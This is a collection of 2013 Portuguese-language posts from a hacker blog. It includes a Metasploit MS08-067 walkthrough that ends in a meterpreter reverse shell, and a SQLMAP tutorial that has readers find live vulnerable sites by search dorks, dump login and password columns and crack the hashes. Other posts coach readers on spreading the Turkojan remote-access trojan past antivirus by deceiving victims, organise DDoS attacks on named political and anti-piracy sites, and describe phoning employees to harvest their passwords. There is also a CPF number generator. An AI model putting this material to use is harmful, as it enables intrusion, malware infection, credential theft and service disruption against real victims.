Hackers Net Devil

O código que paraliza a Apple

2013-08-30T21:13:00.001-03:00

Sim, é isso mesmo. Existe uma sequência de caracteres que quando é exibida em qualquer Aplicativo da apple, faz com que ele trave imediatamente. O Bug foi descoberto recentemente. Pode ser postado em redes sociais, etc...

Aqui está:

http://pastebin.com/raw.php?i=yvTAXCFD

E não se esqueça: The Zoera Never Ends!

O Algorítmo do CPF

2013-08-27T19:42:00.003-03:00

O CPF (Cadastro de Pessoas Físicas) tem um algrítmo que não é lá aquelas coisas, se é que você me entende :)
Com uma série de cálculos é possível gerar números válidos de CPF. É claro que existem programas que fazem estes cálculos, mas se você gosta de matemática e programação, eu criei em três linguagens diferentes, scripts que usam o algorítmo do CPF para gerar numeros válidos, todos eles pedem apenas 9 digitos (9 digitos qualqueres) para que sejam gerados os dois ultimos.

Aqui estão:

Delphi:

{
  Gerador de CPF by Rafhack
  Este programa deve ser usado somente para fins acadêmicos.
  O usuário deste código ou do próprio software é responsável por
  seus prórprios atos.
}

unit U_CPF;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, XPMan;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    Button2: TButton;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function gerar(digitos: String) : String;
var
  x, y, quased,d,quasedp, dp, atual : integer;
  digitosatualizados : String;
begin
  x:= 1;
  quased:= 0;
  for y:= 10 downto 2 do begin
    try
      atual:= StrToInt(digitos[x]);
      quased:= quased + atual * y;
    except
      Application.MessageBox('Apenas numeros', 'Erro', 16);
      Break;
    end;
    x := x + 1;
  end;
  d:= 11 - (quased mod 11);
  if d > 9 then d:= 0;
  x:= 1;
  quasedp:= 0;
  digitosatualizados:= digitos + inttostr(d);
  for y:= 11 downto 2 do begin
    try
      atual:= StrToInt(digitosatualizados[x]);
      quasedp:= quasedp + atual * y;
    except
      Application.MessageBox('Apenas numeros', 'Erro', 16);
      Break;
    end;
    x:= x + 1;
  end;
  dp:= 11 - (quasedp mod 11);
  if dp > 9 then dp:= 0;
  result:= digitos + inttostr(d) + inttostr(dp);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  Edit1.Text := '';
  Edit2.Text := '';
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if (edit1.Text <> '') and (length(edit1.Text) = 9) then begin
    Edit2.Text:= gerar(edit1.Text);
  end else begin
     Application.MessageBox('Digite os primeiros 9 digitos','Erro', 16);
  end;
end;

end.

Java:

import java.awt.Container;
import java.awt.Font;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;

/**
 * Gerador de CPF by Rafhack
 *  Este programa foi criado apenas para fins acadêmicos
 *  O uso deste código ou do próprio software são de respoonsabilidade
 *  do próprio ultilizador.
 * @author RAFAEL
 * @version 1.0
 * @since 1.0
 */
@SuppressWarnings("serial")
public class CPF extends JFrame {
 
 JTextField primeiros,cpfPronto;
 public JButton btnGerar,btnLimpar;
 JLabel cima,baixo;
 String primeiro, segundo;
 JPanel p;
 
 /* Criando a JFrame */
 public CPF() {
  super("Gerador de CPF");
  
  Font f = new Font("Courier", Font.PLAIN, 12); //Fonte usada nos TextFields
  
  primeiros = new JTextField(); //TextField dos 9 primeiros digitos
  primeiros.setFont(f);
  primeiros.setBounds(102, 11, 318, 20);
  
  cima = new JLabel("9 Digitos");
  cima.setBounds(20, 14, 49, 14);
  
  baixo = new JLabel("CPF");
  baixo.setBounds(20, 77, 46, 14);
  
  btnGerar = new JButton("Gerar CPF");
  btnGerar.setBounds(102, 42, 93, 23);
  btnGerar.setDefaultCapable(true);
  btnGerar.addActionListener(new ActionListener() {
   
   @Override
   public void actionPerformed(ActionEvent e) {
     primeiro = gerar(primeiros.getText()); //Os dois ultimos digitos
     cpfPronto.setText(primeiros.getText() + primeiro);
   }
  });
  
  cpfPronto = new JTextField(); //TextField do resultado
  cpfPronto.setFont(f);
  cpfPronto.setBounds(102, 74, 318, 20);
  cpfPronto.setEditable(false);
  
  btnLimpar = new JButton("Limpar");
  btnLimpar.setBounds(331, 42, 89, 23);
  btnLimpar.addActionListener(new ActionListener() {
   
   @Override
   public void actionPerformed(ActionEvent e) {
    primeiros.setText(null);
    cpfPronto.setText(null);
   }
  });
  
  p = new JPanel(null);
  p.add(primeiros);
  p.add(cima);
  p.add(baixo);
  p.add(btnGerar);
  p.add(btnLimpar);
  p.add(cpfPronto);
  
  Container c = getContentPane();
  c.add(p);
  this.getRootPane().setDefaultButton(btnGerar);
  
  setVisible(true);
  setSize(300,300);
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  setBounds(100, 100, 450, 147);
 }
 /**
  * Retorna dois digitos conforme os 9 primeiros indicados
  * 
  * Algoritimo: São apresentados 9 digitos, o primeiro digito é multiplicado por 10,
  * o segundo é multiplicado por 9, o terceiro é multiplicado por 8, o quarto por 7,
  * o quinto por 6, o sexto 5, o sétimo por 4, o oitavo por 3 e o nono por 2.
  * Soma-se todos os resultados das multiplicações e extrai-se o resto da divisão por 11.
  * Subtrai-se 11 do resto desta divisão. Se o resultado for maior que 9 então o decimo
  * digito será definido como 0, caso contrário o decimo digito será definido como o resultado
  * da subtração.
  *
  * Temos agora dez digitos. Multiplicamos o primeiro por 11, o segundo por 10, o terceiro
  * por 9, o quarto por 8, o quinto por 7, o sexto por 6, o sétimo por 5, o oitavo por 4, o
  * nono por 3 e o décimo por 2.
  * Soma-se todos os resultados das multiplicações e extrai-se o resto da divisão por 11.
  * Subtrai-se 11 do resto desta divisão. Se o resultador for maior que 9 então o decimo
  * primeiro digito será definido como 0, caso contrário o decimo primeiro digito será
  * definido como o resultado da subtração 
  *
  * @param digs
  * @return Os dois ultimos dígitos
  */
 public String gerar(String digs) {
  int quasep = 0;
  int x = 0;
  for (int i = 10; i >= 2; i--) {
   char atual = digs.charAt(x);
   try {
    quasep += Integer.parseInt(Character.toString(atual)) * i;
   } catch (Exception e) {
    JOptionPane.showMessageDialog(p, "Apenas numeros", "Inane error",
      JOptionPane.ERROR_MESSAGE);
   }
   x++;
  }
  int decimo = 11 - (quasep % 11);
  if(decimo > 9) {
   decimo = 0;
  }
  
  x = 0;
  int quases = 0;
  String digsatualizado = digs + Integer.toString(decimo);
   for (int i = 11; i >= 2; i--) {;
    char atual = digsatualizado.charAt(x);
    try{
     quases += Integer.parseInt(Character.toString(atual)) * i;
    } catch (Exception e) {
     JOptionPane.showMessageDialog(p, "Apenas numeros", "Inane error",
       JOptionPane.ERROR_MESSAGE);
    break;
    }
    x++;
   }
  int decimoprimeiro = 11 - (quases % 11);
  if(decimoprimeiro > 9) {
   decimoprimeiro = 0;
  }  
  
  return Integer.toString(decimo)+Integer.toString(decimoprimeiro);
 }

 
 public static void main(String[] args) {
  new CPF();
 }
 
}

Batch (DOS):

:: Gerador de CPF by Rafhack
:: Este programa deve ser usado somente para fins
:: acadêmicos. O usuário deste código ou do próprio
:: software se resposabiliza por seus próprios atos

@echo off
title Gerador de CPF
goto inicio

:gerar
set ioesent=%~1
set x=0
set y=10
set quased=0
:_return
 echo/set string=%ioesent%>defcur.cmd
 echo/set atual=%%string:~%x%,1%%>>defcur.cmd
 call defcur.cmd
 set /a quased=quased + atual * y
 if not %x% GTR 7 (
  set /a x= x + 1
  set /a y= y - 1
  goto _return)
 set /a d=11 - (quased %% 11)
 if %d% GTR 9 (
  set d=0
 )
set ioesent=%ioesent%%d%
set x=0
set y=11
set quasedp=0
:_returndp
 echo/set string=%ioesent%>defcur.cmd
 echo/set atual=%%string:~%x%,1%%>>defcur.cmd
 call defcur.cmd
 set /a quasedp=quasedp + atual * y
 if not %x% GTR 8 (
  set /a x= x + 1
  set /a y= y - 1
  goto _returndp)
 set /a dp=11 - (quasedp %% 11)
 if %dp% GTR 9 (
  set dp=0
 ) 
 del defcur.cmd
 set cpf=%ioesent%%dp%
 echo/
 echo/CPF:       %cpf%&echo/

:inicio
 set /p "digitos=Insira 9 digitos: "
 CALL:GERAR %DIGITOS%
 pause>nul
 goto inicio

2013-08-13T16:45:00.002-03:00

KALI LINUX

A nova versão do Backtrack

Todos, ou pelo menos a maioria das pessoas que se interessam pelo assunto hacking, já devem ter usado o Linux BackTrack.

Recentemente foi criado pela Offensive Security o Kali Linux, uma nova versão do Backtrack, voltada também para o Pentesting.

O Kali Linux é um sistema baseado em Debian. Ele é mais robusto e fácil de atualizar. É um sistema perfeito para rodar o tão conhecido Metasploit.

Você pode adquirir o Kali Linux aqui mesmo, no Hackers Net Devil.

64 bit: Download Kali Linux ISO

32 bit: Download Kali Linux ISO

Porta Turkojan 4

2013-08-13T00:36:00.001-03:00

Olá pessoal! Para quem usa o Turkojan 4, percebeu que em alguns casos a porta, mesmo depois de liberada, continua dando problema. Eu realmente não sei, deve ser algum bug no turkojan, mas apesar dele mostrar a porta com problema o programa ainda funciona normalmente.
Lembrem-se, qualquer dúvida contate-nos:

Skype: Failupload_0x7b
Face: www.fb.com/hackersnetdevil
E-mail: rafael.flip@hotmail.com

2013-08-02T00:50:00.003-03:00

Você tem um computador com Windows XP na sua rede interna? Ele pode estar vulnerável!

Sim, apesar de antiga esta falha ainda não foi corrigida. É uma falha no protocolo SMB que é responsável pelo compartilhamento de arquivos no Windows. Então se o computador com Windows XP tem algo compartilhado (tem por padão), ele tem grandes chances de estar vulnerável a uma invasão inevitável.

Como invadir?

Usaremos um exploit chamado Microsoft Server Service Relative Path Stack Corruption. Precisaremos ter o Metasploit (Download) instalado em nossa máquina.

Precisamos também verificar se a porta 445 está aberta. Para isso, vamos usar o NMAP (Download) com o seguinte comando:

Comando:

nmap -P0 -p 445 -O 192.168.1.103 Starting Nmap 6.25 ( http://nmap.org ) at 2013-08-02 00:30 E. South America Standard Time
Nmap scan report for 192.168.1.103
Host is up (0.00012s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:8F:93:C2 (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_xp::sp3
OS details: Microsoft Windows XP SP2 or SP3
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds

Veja que o NMAP nos informou que a porta 445 está aberta e que o sistema é Windows XP!

Agora, sabendo que o sistema pode ser vulnerável, precisamos fazer o ato da invasão.

No console do MetaSploit, vamos fazer o seguinte:

Comando:

use exploit/windows/smb/ms08_067_netapi

Agora devemos definir nosso alvo (Neste caso 192.168.1.103)

Comando:

set RHOST 192.168.1.103

Em seguida vamos definir o PAYLOAD e depois o nosso próprio IP (O meu é 192.168.1.104), e depois simplesmente atacar!

Comando:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.104
exploit

Lembre-se que este metodo só se aplica a máquinas na rede Local!
Isso nos dará total controle da máquina. Bom, veja o vídeo a baixo para mais detalhes!

2013-07-23T17:07:00.004-03:00

Fique Anônimo

Olá pessoal, venho apresentar a vocês o JAP (Java Anonymity Proxy). Ele é um gerenciador de Mixes de Proxys. Ou seja, sua conexão não fará mais a mesma trajetória até chegar à um site.

Bom, para quem não sabe o que é um Proxy, veja a imagem a baixo:

O Proxy age como um intermediário, desta forma, o site reconhecerá o IP do Proxy e não o seu.

Vamos lá, baixe o JAP aqui (Download) e baixe o Java (Download) caso você não tenha.

Depois de baixar e instalar o Java, precisamos configurar o JAP.

-Clique com o botão direito sobre o JAP, vá em Abrir Com, clique em Java.

-Aguarde alguns segundos até a interface do JAP ficar assim:

Bom, o JAP é um agente de Proxy Local, por isso precisamos configurar nosso computador para usar o JAP como Proxy.

-Va em painel de controle

- Rede e internet

- Opções de internet

-Conexões

- Configurações de LAN

-Deixe da seguinte forma

Clique em Ok, Ok.

Você está agora camuflado.

Pelo internet explorer, confira seu novo endereço de IP em http://meuip.datahouse.com.br

Para retirar o Proxy das configurações, basta entrar novamente no Painel de Controle e desmarcar a opção "Usar um servidor de proxy..."

2013-07-22T05:50:00.005-03:00

SQL INJECTION

Encontrando a vulnerabilidade e explorando

Informações são bens preciosos dentro de empresas e sites. Elas estão presentes em banco de dados que organizam estas informações de forma que o sistema possa lê-las e repassa-las para o usuário.

SQL (Structured Query Language/Linguagem de consulta estruturada) é a linguagem padrão para bancos de dados relacionais.

SQL Injection é o tipo de método que permite ao atacante inserir diversas instruções no código fonte SQL do site, permitindo assim o acesso as informações contidas no banco de dados.

É uma falha antiga, porém, diversos programadores cometem este erro hoje em dia.

Há formas de fazer SQL Injection manualmente, o que seria muito demorado, e por isso existem softwares que automatizam a tarefa de injetar o código malicioso.

O mais conhecido é o SQLMAP (Download), com ele é possível realizar o processo de forma
rápida.

Instalação

-Você precisará do Python 2.7 (Download)
-Instale o Python no diretório padrão (C:\Python27)
-Precione + PauseBreak e clique em "Alterar configurações"

-Vá até a guia "Avançado" e clique no botão "Variáveis de ambiente"
-Na parte de baixo (Variáveis do sistema), procure a variável "Path" e clique em "Editar"
-Coloque um sinal de ; (Ponto e vírgula) no final da variável e após o sinal de ; insira C:\Python27.
-Clique em Ok, Ok e Ok.
-Extraia o SQLMAP para qualquer pasta (Disco Local C: de preferência)

Bom, agora com o SQLMAP instalado, precisamos definir nosso alvo.
Para procurar sites que usam SQL como linguagem para seus bancos de dados, faça o seguinte:

- Entre no Google
- Digite: inurl:".php?id="

Se quiser alvos mais específicos, coloque antes de .php, cadastro, login, usuarios ou algo do tipo. Para que fique mais ou menos assim: inurl:"cadastro.php?id="

Entre em algum site que aparecer nos resultados.
No final do URL do site, insira uma aspa simples. Por exemplo, se o endereço for:

http://www.teste.com/cadastro.php?id=42
Coloque:
http://www.teste.com/cadastro.php?id=42'

Se o site estiver vulnerável, ele te retornará um erro. Erros como estes:

Isto já é meio caminho andado.

Agora precisamos explorar a falha usando o SQLMAP

Vou usar o site www.teste.com como exemplo, mas você use o site que encontrar vulnerável

-Abra seu Prompt de Comando (CMD)

-Navegue até a pasta onde extraiu o SQLMAP usando o comando CD. (Se extraiu no disco local C: faça o comando [cd C:\sqlmapproject-sqlmap-a639dbb]

-Dentro da pasta onde extraiu o SQLMAP, execute o seguinte comando:

python sqlmap.py -u www.teste.com/cadastro.php?id=1 --dbs

(Não se esqueça de trocar www.teste.com/cadastro.php?id=1 pelo URL do site vulnerável)

-O comando acima retornará os banco de dados do site desta forma:

-Execute o comando:

python sqlmap.py -u www.teste.com/cadastro.php?id=1 -D nome_do_banco_de_dados --tables

(No lugar de nome_do_banco_de_dados insira o nome do banco de dados que o comando anterior retornou)

-O comando acima deve retornar as tabelas existentes no banco de dados desta forma:

-Execute o comando:

python sqlmap.py -u www.teste.com/cadastro.php?id=1 -D nome_do_banco_de_dados -T nome_da_tabela --columns

(No lugar de nome_da_tabela você deve inserir o nome de uma das tabelas retornadas pelo SQLMAP)

-O comando acima deve retornar as colunas da tabela que você escolheu, desta forma:

-Execute o seguinte comando:

python sqlmap.py -u www.teste.com/cadastro.php?id=1 -D nome_do_banco_de_dados -T nome_da_tabela -C login,senha --dump

(No lugar de login,senha você deve colocar o nome das colunas que você escolher. Sendo separadas por vírgulas)

-O comando acima deve retornar os registros das colunas que você escolheu desta forma:

Estas informações deveriam ser propriedade somente do administrador do site. No caso acima, eu consegui usuário e senha do administrador do site, o que me permitiu alterar qualquer conteúdo do site.

No caso de senhas, muitas vezes vocês deverão encontrar senhas criptografadas por Hashes MD5. O próprio SQLMAP tem um Brute-Force que poderia quebrar a senha, mas isso pode levar muito tempo, neste caso use este site: http://md5decrypter.co.uk

Ele contém milhões destas Hashes já quebradas, quem sabe não pode te ajudar ;)

Lembre-se, o uso deste método para destruir sites ou vender informações É CRIME, então use somente para fins de teste ou para informar o administrador do site que existe esta falha.

Hackers Net Devil

http://www.facebook.com/hackersnetdevil

www.hndsofts.com

Parece que o CRMPR não está salvando

2013-07-05T22:59:00.000-03:00

Recebemos informações de que CRMPR (Conselho Regional de Medicina do Paraná), está deixando hospitais com péssimo estado de consevação, deixando pacientes de lado, e isso tem cara de desvio de verba pública. Você, talvez não tenha passado por uma situação na qual desejaria morrer do que estar em hospitais como estes, talvez já tenha passado por esta situação. Mas incondicionalmente, eles precisam saber que não estamos de brincadeira, que pessoas não são lixo, e que já sabemos da grande sujeira.

A vontade galera, já sabem o que fazer: http://www.crmpr.org.br/

REVOLUÇÃO!

2013-06-24T04:51:00.002-03:00

Galera, estamos em tempos revolucionários no nosso país, por isso gostaria de dizer a vocês que por este motivo nosso futuro está garantido! Mas não podemos parar, temos que agir contra o governo e sua opacidade nas supostas "obras". Sabemos que o atual governo Brasileiro é realmente uma droga, e, então, mudaremos isto. Então peço a vocês, não parem de protestar! A mídia pode manipular muitos alienados, mas eu acredito que nenhum de vocês que estão lendo esta postagem, sejam apenas mais um dos muitos manipulados pela mídia (a rede globo em especial). Eles querem mostrar de forma distorcida e alterada, que o que estamos fazendo é errado, mas eles podem ter certeza de uma coisa, o Brasil está mudando, e não somos idiotas para acreditar neles. Não confie na Globo! Não a deixe controlar sua mente, não a deixe dizer a você, de que modo você deve agir, ser, se vestir, etc. A vida é sua, e o país também é seu, a final, vivemos em uma democracia, certo? Galera, protestem da forma que vocês quiserem, mas não machuque ninguém, pois o governo não precisa de concorrência. Devemos protestar de uma forma que mostre a todos eles que o controle está conosco! Nós temos o poder de parar o Brasil, ou fazer ele ir para frente. Tudo depende da forma de cada um pensar, e agir. Conto com vocês, para continuar atacando o governo de forma pacífica. Fiquem ligados aqui, no Hackers Net Devil, sobre os eventos de ataques que faremos contra o governo e seus aliados. Podemos vencer esta causa. Eu acredito em cada um de vocês que estão neste país, e nos que estão fora dele também!

Skype: Failupload_0x7b
Facebook: Fb.com/HackersNetDevil
E-mail: rafael.flip@hotmail.com

Fórum!

2013-06-16T17:11:00.000-03:00

Entre em nosso fórum, cadastre-se, e discuta os assuntos que mais lhe interessem.

2013-06-05T02:43:00.003-03:00

ANTI-PIRATARIA É O CA*****

Uma votação foi feita e a maioria optou por voltarmos a atacar. Desta vez protestaremos contra as organizações de anti-piratria. Já sabemos que estas organizações são causas de muitos serviços terem saído do ar. O caso mais recente foi nosso querido Megaupload, que foi retirado do ar pelo FBI. Dizem que a pirataria na internet é crime. Eu não concordo com isto, para mim, o verdadeiro crime é cobrar preços absurdos por produtos que poderíamos simplesmente baixar. Aí agora fica essa put***** de não poder compartilhar se quer uma música por exemplo sem que ele seja retirada e a nossa conta encerrada. Se eu fosse o dono da música, iria liberar ela para todos. Como eu iria ganhar dinheiro? Simples, por exemplo, conhece o Monark? Sou um grande fã dele, assisto seus vídeos e gosto muito deles. Ele ganha dinheiro com seus vídeos e com anúncios. Acho que isto é tão... ótimo, ninguém gasta, as empresas aumentam suas publicidades, o anunciante ganha, e nós aproveitamos o conteúdo. Se tudo fosse assim a internet seria um local totalmente livre. Gostamos de liberdade, certo? Então vamos dar um pequeno aviso para estas organizações que gostamos deliberdade, e vamos lutar por ela.

Aqui estão alguns sites de organizações anti-pirataria que eu encontrei:

http://wefightpiracy.org

http://ww2.bsa.org

http://antipiracy.fi

http://www.apcm.org.br/

Ataque: Sábado, 22 de Junho de 2013 às 21:00

Adicione Failupload_0x7b no Skype, chame seus amigos, compartilhe este site, faça vídeos, copie, cole, faça este post se expandir, seja um Anonymous!

2013-06-04T00:57:00.000-03:00

VULNERÁVEL

Ei você! Você é hacker? Não? Por quê não se torna um? Sabe o que os verdadeiros HACKERS fazem? Eles não ficam hackeando facebook, invadindo por brincadeira, nem por vingança. Existe um certa diferença entre Hacker, Cracker e Skiddie. Um Skiddie é o tipo de pessoa que tem um certo conhecimento na área de hacking, mas não muito, normalmente usam programas que hackers e crackers criaram, para simplesmente se divertirem ou ganhar certa fama. Um Cracker, é uma pessoa com extremo conhecimento na área, mas que infelizmente usa este conhecimento para o lado do mal, ou para benefício próprio. Já um Hacker, usa o conhecimento que tem para invadir, avisar, o possivelmente concertar, tanto que o lema dos hackers é "Veja tudo, aprenda tudo, não toque em nada!". Bom, os hackers, usam seu conhecimento para descobrir falhas. O que todo candidato a hacker precisa saber é que nem tudo são 1000 maravilhas e que nem sempre dará certo o que ele tentar. Mas é importante saber que TODO SISTEMA TEM UM ELO FRACO. Mas como pode isso? Pense bem, todo sistema é controlado por pessoas, pessoas cometem erros, e está ai a brecha. Um hacker pode tentar invadir um sistema usando seu conhecimento e tentando explorar as possíveis falhas, mas quando tudo falhar, o hacker tem que usar sua principal arma, a Engenharia Social. Um bom hacker deve ter o poder de persuadir qualquer pessoa, tornar-se confiável à ela, até que esta pessoa lhe dê as informações de que precisa. O hacker, precisa pesquisar muito, por mais elevado que seja seu conhecimento, ele deve pesquisar sobre seu alvo, observar as fraquezas para depois atacar. Um exemplo, a algum tempo atrás, eu Rafhack, estava sem saídas para invadir uma empresa X. Todas as técnicas tinham falhado, eu precisava muito de uma senha de acesso ao terminal da rede interna deles. Foi quando fiz uma pesquisa avançada, até com clientes da própria empresa, e descobri que periódicamente, a empresa ligava através de um único número de telefone para os clientes, e bolei um plano. Liguei para cada funcionário, dizendo a eles que eu estava fazendo uma "pesquisa" sobre as senhas mais seguras que eles poderiam escolher. Depois de entrevistar 34 funcionários, anotei todas senhas que eles me disseram e pronto, uma delas me deu acesso total ao sistema da empresa. Este era meu objetivo e eu o concluí. Esta é uma dica, quando tudo der errado, apele para a engenharia social.

Em uma próxima postagem estarei mostrando algumas técnicas e vulnerábilidades de alguns sistemas e servidores, até lá, seja criativo, ser criativo é uma das características de um verdadeiro hacker.

2013-05-26T23:17:00.001-03:00

ATTACK SUCCEFULL

O ataque foi bem sucedido, o site do DEM ficou fora do ar durante quse uma hora.

Parece pouco mas foi o suficiente para que eles reforcem a segurança e saibam que nem todo o povo do brasil é idiota, e sabe que a maioria deles são corruptos.

NÓS SOMOS ANONYMOUS, SOMOS UMA LEGIÃO, NÃO NOS ESQUECEMOS, NÃO PERDOAMOS, NOS AGUARDE.

2013-05-24T23:34:00.000-03:00

Você sabe que merda é esta ai em cima?
É o símbolo do DEM (Democratas), o partido mais corrupto do país, um dos muitos motivos que causam a desgraça desta nação. Não podemos defender partidos como este! Está na hora da revolução. Mas pense bem, estes FDP (Filhos da puta) são eleitos por quem? Temos que cortar o mau pela raiz. Sim, atacaremos o site deles, mas isso é o suficiente? Acredito que não. Para que se faça uma revolução, são necessários revolucionários! Acredito que quem elege estas pessoas não são revolucionários. Mude sua filosofia de vida, não dependa destes merdas.

Junte-se a nós, não apenas para atacar o site deles e mostrar que temos o controle. Mas também para mostrar para eles que nem todo brasileiro é idiota!

O ataque começa dia 26/05 às 21:30.
Site: http://www.dem.org.br/
IP: 177.12.161.31

Se você já tem algum conhecimento sobre derrubar sites, use-o, caso contrário adicione Failupload_0x7b no Skype e aprenda até DOMINGO!
Chega de ser só mais um. Se mais um revolucionário!

By Rafhack : Hackers Net Devil

2013-05-19T00:58:00.000-03:00

Obrigado a todos pelas 100.000 visitas!!!

2013-04-28T10:18:00.001-03:00

Derrubar site? Como assim???

Derrubar um site não é la tarefa muito difícil quando se está agindo em grupo. Mas o que precisamos mesmo saber é como tudo isso funciona.

Normalmente, é usada a técnica do SYN FLOOD. Para sabermos como essa técnica funciona, é preciso primeiro saber como funciona uma conexão comum.

Uma conexão, funciona sempre no modo Cliente <--> Servidor. Ambos realizam uma troca de dados para realizar um HandShake que é a conexão pronta.

Nesta troca de informações existem três tipo de dados: SYN (Syncronization), SYN-ACK (Syncronization-Acknowledge) e ACK (Acknowledge).

Funciona da seguinte forma:

O Cliente (você) envia um pacote de sincronização (SYN) para o servidor (site)

O Servidor (site), te reconhece seu pedido de sincronização te enviando um SYN-ACK

O cliente (você), confirma que o site reconheceu seu pedido, e envia um ACK para ele.

E finalmente acontece o HandShake e a conexão é estabelecida :)

Veja abaixo uma repesentação do HandShake:

Esta foi uma conexão comum. Já com o SYN FLOOD acontece o seguinte:

O Atacante (pode ser você) envia DIVERSOS pacotes SYN, porém com um endereço falso.

O servidor irá reconhecer os pedidos, porém responderá para um endereço false com o SYN-ACK, e com isso ele ficará sem a resposta final do Atacante, e não irá mais responder a pedidos de sincronização (SYN).

Desta forma, quando usuários comuns, tentarem sincronizar com o site, não irá conseguir, pois o site deixou de responder pelos pacotes SYN. O usuário ficará sem resposta.

Veja um exemplo a baixo:

E é assim que funciona o SYN Flood. Uma das formas de derrubar um site. :)

TURKOJAN INDETECTÁVEL?

2013-04-16T04:05:00.000-03:00

Mito ou verdade? Digamos que seja meio a meio. É verdade pois existem programas que são capazes de compactar e criptografar o conteúdo, o Themida é um exmplo deste tipo de programa, assim os anti-vírus não detectariam o servidor. Porém, todo arquivo compactado será descompactado quando for aberto, e é nesta hora que os anti-vírus pegam o server, enquanto ele está lá, compactado dentro do arquivo criptografado, está tudo bem. Mas assim que for aberto, já era. Eu recomendo muito que procurem novas formas de tentar infectar vítimas. Se seu alvo for uma única pessoa, como o(a) namorado(a), por exemplo, use uma engenharia social, diga que é um novo programa que necessita a deativação do anti-vírus. Mas se seu alvo for ter dezenas de vítimas, faça Upload do seu server na internet e disponibilize o link para download em fóruns de Hack de games, diga que é preciso desativar a porra do anti-vírus, assim irão fazer o download, desativar o antívirus, e ser infectados. Para este modo, recomendo assistir mau vídeo, Editar a descrição de arquivos joinados, mostra como juntar seu servidor com outro arquivo qualquer, assim quando o arquivo for aberto, irá abrir o arquivo e o servidor junto. É uma boa forma de camufla-lo.
Espero que gostem, não fiquem chateados por isso. Saibam, estou desenvolvendo (ou tentando) uma ferramenta para acabar com a graça dos anti-vírus. Fiquem com Deus!

2013-04-15T01:14:00.001-03:00

CALCULADORA

(Rafhack)

Criar uma calculadora não é tão difícil quanto parece.

Um pouco de programação em DOS (.bat) é o nescessário para criar um software de cálculos básicos.

Como fazer?

No bloco de notas cole o seguinte script em lotes:

@echo off
:chc
Setlocal disabledelayedexpansion enableextensions
cls
echo/1. Soma
echo/2. Subtracao
echo/3. Multiplicacao
echo/4. Divisao
echo/
set /p "opc=Digite sua opcao: "
if "%opc%" == "" (Goto Chc)
For /l %%a in (1,1,4) do (
if not "%opc%" == "%%a" (
   Set "erro=%%a") else (
    Set "erro="
    Set "Ir=%%a"
    Goto Sim))
:sim
if not "%erro%" == "" (
echo/%opc% nao e uma opcao valida
pause>nul
Goto Chc) else (Goto Tot)
:Tot
echo/
Set /p "val1=Digite um numero: "
Set /p "Val2=Digite outro numero: "
Goto %ir%
:1
Set /a res= val1 + val2
Set "opr=+"
Goto Mos
:2
Set /a res= val1 - val2
Set "opr=-"
Goto Mos
:3
Set /a res= Val1 * Val2
Set "opr=*"
Goto Mos
:4
Set /a res= Val1 / Val2
Set "opr=/"
Goto Mos
:Mos
Cls
Echo/%val1% %opr% %val2% = %res%
Pause >nul
Endlocal
Goto Chc

Salve o arquivo com qualquer nome, com a extensão .bat (Ex.: Calculadora.bat)

Execute o arquivo salvo, e pronto.

É claro que teria sido bem mais fácil usar a calculadora do Windows, mas, é bom saber heh :)

Estude bem este código, é ótimo para treinar lógica de programação.

2013-04-11T01:06:00.000-03:00

.COM

Agora o Hackers Net Devil é uma .com também!

Acesse nosso site através do endereço www.hndsofts.com

Junte-se ao Hackers Net Devil

2013-01-17T16:23:00.002-02:00

FAÇA PARTE DO HACKERS NET DEVIL!

Que tal fazer parte de nosso site? Poder publicar conteúdo e programas de seu conhecimento, dicas, vídeos. Estamos realmente precisando de pessoas confiáveis que possam "tomar conta" do site. Para mais informações envie Email para Rafael.flip@hotmail.com ou adicione no Skype failupload_0x7b.
Todos são bem vindos, todos serão avaliados.

2011-10-14T21:49:00.027-03:00

iProtect 2.0

A segunda versão de nosso programa está pronta, agora com alguns recursos adicionais, e melhor proteção para suas pastas e arquivos!

Baixar (O >AVAST< acusará o arquivo Crip.exe e Msg.exe como vírus, eu realmente não sei porque)

Nosso primeiro Jogo!!

Clique aqui e baixe o primeiro jogo desenvolvido pela equipe (Rafhack) do Hackers Net Devil!

Mais programas hacker!

Clique aqui

Não fique com medo!

Camufle seu IP e participe do nosso ataque hacker!

Clique aqui para aprender como fazer isto

Turkojan 4

Agora com tutorial completo clique aqui e veja

Downloads de sistemas operacionais

Vídeo Aulas

Algumas vídeo aulas de diversos tipos clique aqui